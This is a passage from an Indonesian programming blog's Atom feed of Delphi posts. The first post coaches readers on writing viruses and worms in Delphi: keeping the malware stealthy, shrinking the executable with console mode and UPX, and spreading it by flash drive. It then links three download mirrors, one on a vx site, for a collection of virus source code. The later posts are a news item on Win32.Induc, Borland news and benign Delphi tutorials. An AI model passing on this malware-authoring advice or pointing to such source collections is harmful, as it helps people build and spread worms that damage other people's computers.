name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:Wingdings; 	panose-1:5 0 0 0 0 0 0 0 0 0; 	mso-font-charset:2; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:1; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:0 0 0 0 0 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	mso-bidi-font-size:12.0pt; 	font-family:"Calibri","sans-serif"; 	mso-fareast-font-family:"Times New Roman"; 	mso-bidi-font-family:"Times New Roman"; 	mso-ansi-language:IN; 	mso-no-proof:yes;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	font-size:10.0pt; 	mso-ansi-font-size:10.0pt; 	mso-bidi-font-size:10.0pt;} @page Section1 	{size:612.0pt 792.0pt; 	margin:72.0pt 72.0pt 72.0pt 72.0pt; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:Arial; 	mso-bidi-theme-font:minor-bidi;} &lt;/style&gt; &lt;![endif]--&gt;Delphi  adalah suatu tool pemrograman berorientasi objek produksi Borland  (sekarang menjadi milik Code Gear kemudian berpindah ke Embarcardo ).  Bahasa yang digunakan Delphi dikembangkan dari Bahasa Pemrograman Pascal  tradisional, yang masih text based, dan masih berupa bahasa pemrograman  terstruktur.&lt;br /&gt;&lt;br /&gt;Umumnya, aplikasi yang dibuat oleh developer Delphi adalah aplikasi  window dengan banyak operasi drag and drop komponen dan form-form. Namun  program yang hendak kita buat adalah malcode, dimana ukuran file  menjadi isu penting. Dalam pembuatan aplikasi windows, Delphi adalah  salah satu yang terbaik (atau dalam kacamata saya, terbaik, tanpa kata  ‘salah satu’ J) dari sisi kemudahan dan konsistensi, namun menghasilkan  ukuran file executable yang lebih besar daripada bahasa sejenis yang  paling sering digunakan untuk membuat virus, yakni Visual Basic.  Kita  akan meninggalkan kemudahan fasilitas yang ditawarkan IDE Delphi demi  optimasi  file executable malcode yang kita buat.&lt;br /&gt;&lt;br /&gt;Banyaknya virus/worm lokal yang dibuat dengan Visual Basic dan  jarang dibuat dengan Delphi, tidak berarti bahwa Visual Basic lebih baik  atau lebih canggih daripada Delphi, masing-masing bahasa mempunyai  kelebihan dan kekurangan.&lt;br /&gt;&lt;br /&gt;Visual Basic mempunyai statement ‘sakti’  On Error Resume Next yang  bermakna, “jika terjadi kesalahan dalam code yang dieksekusi  saat ini,  abaikan, dan lanjutkan untuk mengeksekusi baris code berikutnya”, dengan  demikian, jika misalkan terdapat kesalahan pemrograman dalam tubuh  virus/worm, Windows tidak menampilkan pesan error sama sekali,  hal ini  sangat meningkatkan tingkat ketersembunyian malcode yang dibuat dalam  bahasa Visual Basic. Sangat tidak lucu, jika keberadaan virus yang  seharusnya stealth, tiba-tiba karena bug dalam tubuhnya, memunculkan  pesan error  sehingga dengan mudah keberadaanya diketahui.&lt;br /&gt;&lt;br /&gt;File executable yang dihasilkan oleh compiler Visual Basic relatif  lebih kecil daripada Delphi. Hal ini disebabkan Windows secara default  telah menyediakan library-library yang dibutuhkan  aplikasi yang dibuat  dengan Visual Basic, sehingga compiler tidak perlu membundelnya dalam  file executable. Anda bebas menggunakan komponen Active X dan Form  standar, file executable yang dihasilkan oleh compiler Visual Basic   tetap kecil karena tidak berdiri sendiri. Hal ini merupakan kelebihan  sekaligus kelemahan yang paling fatal dari semua virus yang dibuat  dengan Visual Basic. Sebagai contoh dari hal yang  sudah banyak  diketahui, bahwa file executable Visual Basic 6 selalu membutuhkan  msvbvm60.dll (Microsot Visual Basic Virtual Machine)agar bisa  dieksekusi. Bagaimana jika penjinak virus menghapus atau merename  msvbvm60.dll ? Karena kelemahan yang sangat mendasar inilah, hampir  semua malcode yang dibuat selalu berusaha untuk melindungi file  msvbvm60.dll dari serangan virus/worm hunter. Dan terdapat teknik  menarik untuk menangani ketergantungan terhadap msvbvm60.dll ini.&lt;br /&gt;&lt;br /&gt;File executable Delphi umumnya tidak bergantung pada library yang  spesifik. Compiler Delphi telah membundel library yang dibutuhkan dalam  file executable. Hal ini membuat file .exe aplikasi Windows yang dibuat  dengan Delphi relatif jauh lebih besar daripada aplikasi yang dibuat  dengan Visual Basic. Namun point terpenting disini, file executable  Delphi lebih mandiri, dan kelemahan umum pada malcode Visual Basic,  tidak dijumpai pada malcode Delphi. Lalu bagaimana dengan ukuran file  exe malcode Delphi besar? Hal ini dapat disiasati dengan meninggalkan  pemrograman berbasis window dan beralih ke modus console saat kita  memprogram malcode.&lt;br /&gt;&lt;br /&gt;Jadi memprogram virus dengan Delphi lebih sulit? Tidak juga. Virus  atau worm windows tidak lebih dari sekedar permainan registry dan  Windows API. Delphi telah menyediakan unit berisikan function-function  siap pakai untuk mengakses Windows API dan registry. Dengan demikian  Anda tidak perlu mengimport secara langsung function-function API dari  library Windows ketika hendak menggunakannya(suatu hal yang mesti harus  Anda lakukan jika Anda menggunakan Visual Basic). Selain itu, seandainya  pun Anda tidak ingin berjibaku menggunakan modus console, ukuran  malcode Delphi sebesar sekitar satu megabyte (sebelum dikompres dengan  UPX) tidak ada artinya jika memang target media penyebarannya adalah  flashdisk. &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Berikut ini source code virus / worm yang dibuat dengan delphi.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DOWNLOAD:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;MIRROR  #1: &lt;a href="http://netload.in/dateiaf15b13019/Positronscollection_ltt.rar.html.htm" target="_blank"&gt;http://netload.in/dateiaf15b13019/Po...t.rar.html.htm&lt;/a&gt;  (NETLOAD)&lt;br /&gt;&lt;br /&gt;MIRROR #2: &lt;a href="http://rapidshare.com/files/14260633/Positronscollection_ltt.rar.html" target="_blank"&gt;http://rapidshare.com/files/14260633...n_ltt.rar.html&lt;/a&gt;  (RAPIDSHARE)&lt;br /&gt;&lt;br /&gt;MIRROR #3:&lt;a href="http://vx.netlux.org/delphi/Delphi%20Virus%20Source%20Collection%20by%20Positron.rar" target="_blank"&gt;http://vx.netlux.org/delphi/Delphi%20Virus%20Source%20Collection%20by%20Positr    on.rar &lt;/a&gt;&lt;br /&gt;(POSITRONS SITE)&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-287264135548427041?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/287264135548427041/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=287264135548427041' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/287264135548427041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/287264135548427041'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2010/02/membuat-virus-worm-dengan-delphi.html' title='Membuat Virus / Worm dengan Delphi'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_E7ld_61SOLw/S2g_jgveZlI/AAAAAAAAAIU/dtkSuYWVuz0/s72-c/images.jpeg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-6124108295380086414</id><published>2010-02-02T21:46:00.002+07:00</published><updated>2010-02-02T21:51:15.098+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Waduh, Virus Delphi Mematikan Serang Windows</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_E7ld_61SOLw/S2g7r0Jm0dI/AAAAAAAAAIM/UkvZt2Dv4Zo/s1600-h/virus.jpeg"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 231px; height: 218px;" src="http://4.bp.blogspot.com/_E7ld_61SOLw/S2g7r0Jm0dI/AAAAAAAAAIM/UkvZt2Dv4Zo/s400/virus.jpeg" alt="" id="BLOGGER_PHOTO_ID_5433658574341853650" border="0" /&gt;&lt;/a&gt;Peneliti dari perusahaan antivirus Sonicwall, juga  beberapa vendor lainnya, termasuk Sophos, telah  menemukan virus mematikan terbaru. Selasa (18/08)  kemarin, mereka menemukan virus Win32.Induc yang  ditulis untuk menginfeksi aplikasi yang dibangun  menggunakan bahasa pemrograman Delphi. Hal tersebut  disampaikan oleh Nick Bilogorskiy, manager peneliti  dari Sonicwall. Sementara itu, bahasa Delphi sendiri  biasanya digunakan untuk membuat aplikasi yang  dijalankan di Windows, termasuk aplikasi  database.&lt;p style="text-align: justify;"&gt;Menurut Bilogorskiy, ketika program  buatan Delphi yang sudah terinfeksi, maka virus akan  menyebarkan file executable-nya (.exe) sendiri seperti  yang ada di source code-nya. Jika dalam &lt;a href="http://www.beritanet.com/"&gt;komputer&lt;/a&gt; ditemukan  instalasi berbasis Delphi, maka program tersebut akan  mencoba menulis code ke SysConst.pas, yang kemudian  di-compile ke SysConst.dcu (setelah menyimpan copy-an  file SysConst.dcu aslinya ke SysConst.bak). File  SysConst.dcu baru yang terinfeksi kemudian akan  menambah code W32/Induc-A secara otomatis ke setiap  file Delphi yang baru, yang kemudian akan di-compile  oleh system.&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;“Malware tersebut hanya  menyebarkan dirinya, tidak menghapus file ataupun  melakukan sesutau yang lebih ‘jahat’.  Namun, jika user membuat software berbasis Delphi dan  memiliki source code ‘jahat’ tersebut, maka  software yang dibuat itu masih bisa diblokir oleh  antivirus. Walaupun begitu, sudah sebanyak 30 persen  developer yang menggunakan Delphi pasti memilki code  tersebut.” ungkap Bilogorskiy.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-6124108295380086414?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/6124108295380086414/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=6124108295380086414' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/6124108295380086414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/6124108295380086414'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2010/02/waduh-virus-delphi-mematikan-serang.html' title='Waduh, Virus Delphi Mematikan Serang Windows'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_E7ld_61SOLw/S2g7r0Jm0dI/AAAAAAAAAIM/UkvZt2Dv4Zo/s72-c/virus.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-2149843489420840971</id><published>2010-02-02T21:39:00.000+07:00</published><updated>2010-02-02T21:41:11.914+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Borland Satukan Banyak Software</title><content type='html'>&lt;p style="text-align: justify;"&gt;Borland telah merilis framework untuk menempatkan  tool management pada proses pengembangan software. Ide  dari Borland adalah untuk menyediakan kemampuan bagi  para stakeholder bisnis, pengembang, &lt;em&gt;project  manager&lt;/em&gt;, dan eksekutif software ke dalam proses  pengembangan.&lt;br /&gt;&lt;br /&gt;Pengumuman Borland Management  Solutions ini telah membantu sebuah perusahaan tool  pengembangan di Santa Cruz, California. Pengembangan  software management ini muncul setelah Delphi dan Turbo  Pascal, namun belum jelas bagaimana pengembangan  tersebut diterjemahkan dalam management layer di atas  beberapa bantahan mengenai proses konstruksi  kodenya.&lt;br /&gt;&lt;br /&gt;“Kami ingin mentransform  software, yang tidak memiliki track record terbaik, ke  dalam proses bisnis management. Ini seperti sistem  tracking FedEx untuk proyek IT.”, kata Rick  Jackson, senior VP Borland. Dengan kata lain, Borland  mengklaim bahwa pihaknya dapat mengukur dan memonitor  proses pengembangan software tesebut yang tidak diduga  sebelumnya. Framework tersebut akan menjadi tool  pengembangan dan akan melebihi aplikasi produk  lifecycle management yang ada di Borland, seperti  Caliber atau tool model visual, Together.&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Tool  management telah disebarkan ke situs pelanggan yang  cukup besar dan proses pengembangan dalam internal  Borland. Chuck Maples, VP dari bagian pengembangan  aplikasi dari Borland, mengatakan pihaknya akan menilai  proyek pengembangan framework ini dengan melihat  kinerja tim dan meminta statistic progress mereka,  sehingga mungkin akan memakan waktu hingga dua mingu  untuk mendapatkan semua informasi. Hal inilah yang  menyebabkan framework untuk penyatuan &lt;a href="http://www.beritanet.com/"&gt;informasi&lt;/a&gt; dan  management pengembangan software ini belum memiliki  harga pasti.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;Framework ini akan dapat menyatukan  data dari Microsoft Project, Borland Caliber, Borland  StarTeam change and configuration management system,  Borland Silk Central Test Manager dan HP Quality  Center, dan kemudian membangun satu penyimpanan untuk  menyimpan semua &lt;a href="http://www.beritanet.com/"&gt;informasi&lt;/a&gt;  tersebut,  yang dapat digunakan nantinya oleh TeamDemand,  TeamFocus, dan TeamAnalysis dari Borland. Pihak Borland  berencana akan memperluas pasar framework ini seperti  ke IBM Rational RequisitePro requirements manager, IBM  Rational ClearCase change management, Doors Telelogic.  Namun framework tidak bisa dipasang bila terdapat  toolset Rational atau produk dalam toolset Visual  Studio dari Microsoft karena akan bertabrakan.  Interface management dari tiga tool management yang  baru dapat membuat kesimpulan dari proyek framework ini  dengan banyak elemen gambar.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-2149843489420840971?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/2149843489420840971/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=2149843489420840971' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/2149843489420840971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/2149843489420840971'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2010/02/borland-satukan-banyak-software.html' title='Borland Satukan Banyak Software'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-7533762213204285834</id><published>2010-01-07T11:33:00.001+07:00</published><updated>2010-01-07T11:38:19.974+07:00</updated><title type='text'>Mengecek Keberadaan File</title><content type='html'>Untuk mengecek apakah suatu file ada dalam suatu direktori tertentu, Anda dapat menggunakan fungsi yang di sediakan Delphi.&lt;br /&gt;Rumus fungsi:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;FileExists(const FileName:string):boolean.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;langkah pertama : letakan Button dan Edit di dalam Form&lt;br /&gt;Langkah kedua: isikan program dengan listing program di bawah ini&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Procedure Tfrom.Button1Click(Sender:TObject);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;begin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; if Edit1.Text = ' ' then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  ShowMessage('isikankan nama file yang dicari')&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;   begin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;     if FileExits(Edit1.Text) = true then                       // jika ada &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;        ShowMessage('file " ' +Edit1.Text + ' " ada. ')&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    else                                                                             // Jika tidak ada &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;       showMessage('File " ' +Edit1.Text + ' " tidak dtemukan. ');&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;end;&lt;/span&gt;&lt;br /&gt;langakh ketiga : Klik Run&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;Selamat mecoba&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-7533762213204285834?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/7533762213204285834/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=7533762213204285834' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/7533762213204285834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/7533762213204285834'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2010/01/mengecek-keberadaan-file.html' title='Mengecek Keberadaan File'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-2282970798590528886</id><published>2010-01-07T11:30:00.000+07:00</published><updated>2010-01-07T11:33:35.474+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><title type='text'>Mengubah Background Toolbar Windows Explorer dgn Gambar Bitmap</title><content type='html'>Program ini menjelaskan tentang mengubah background toolbar windos Explorer dengan gambar bitmap. Yang dilakukan program ini sangat sederhana, yakni memberikan data value BackBitmapShell pada key &lt;span style="font-style: italic;"&gt;HKEY_CURRENT_USER\Software\Microsoft\Internet&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Explorer\Toolbat&lt;/span&gt; dan nilainya merupakan path file bitmap yang digunakan.&lt;br /&gt;Pada Fom rancang 2 Button dan poperty Dialog dengan mengambil OpenPictureDialog, dan juga EditText&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-size: 130%;"&gt;Ini Listing program selengkapnya&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Procedure Tform1.Button1Click(Sender:TObject);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;begin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; if OpenPictureDialog1.Execute then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    Edit1.Text:=OpenPicutreDialog1.FileName;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;end;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Procedure Tfrom1.Button2Click(Sender:TObject);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;var Register:Tregister;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;begin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  Register:=Tregister.create;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  Register.RootKey:=HKEY_CURRENT_USER;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;try&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; try&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  Register.OpenKey('\Software\Microsoft\Internet Explorer\'+ 'Toolbar',True);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  Register.WriteString('BackBitmapShell',Edit1.Text);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  ShowMessage('Berhasil mengubah background toolbar'+#13+'Untuk melihat hasilnya,buka'+&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  ' "Windows Explorer" baru.');&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Except on ERegistryException do&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  ShowMessage('Gagal mengubah background toolbar explorer');&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;end;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Finally&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; Register.CloseKey;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Register.Free;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;end;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Selamat mencoba&gt;&gt;&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-2282970798590528886?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/2282970798590528886/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=2282970798590528886' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/2282970798590528886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/2282970798590528886'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2010/01/mengubah-background-toolbar-windows.html' title='Mengubah 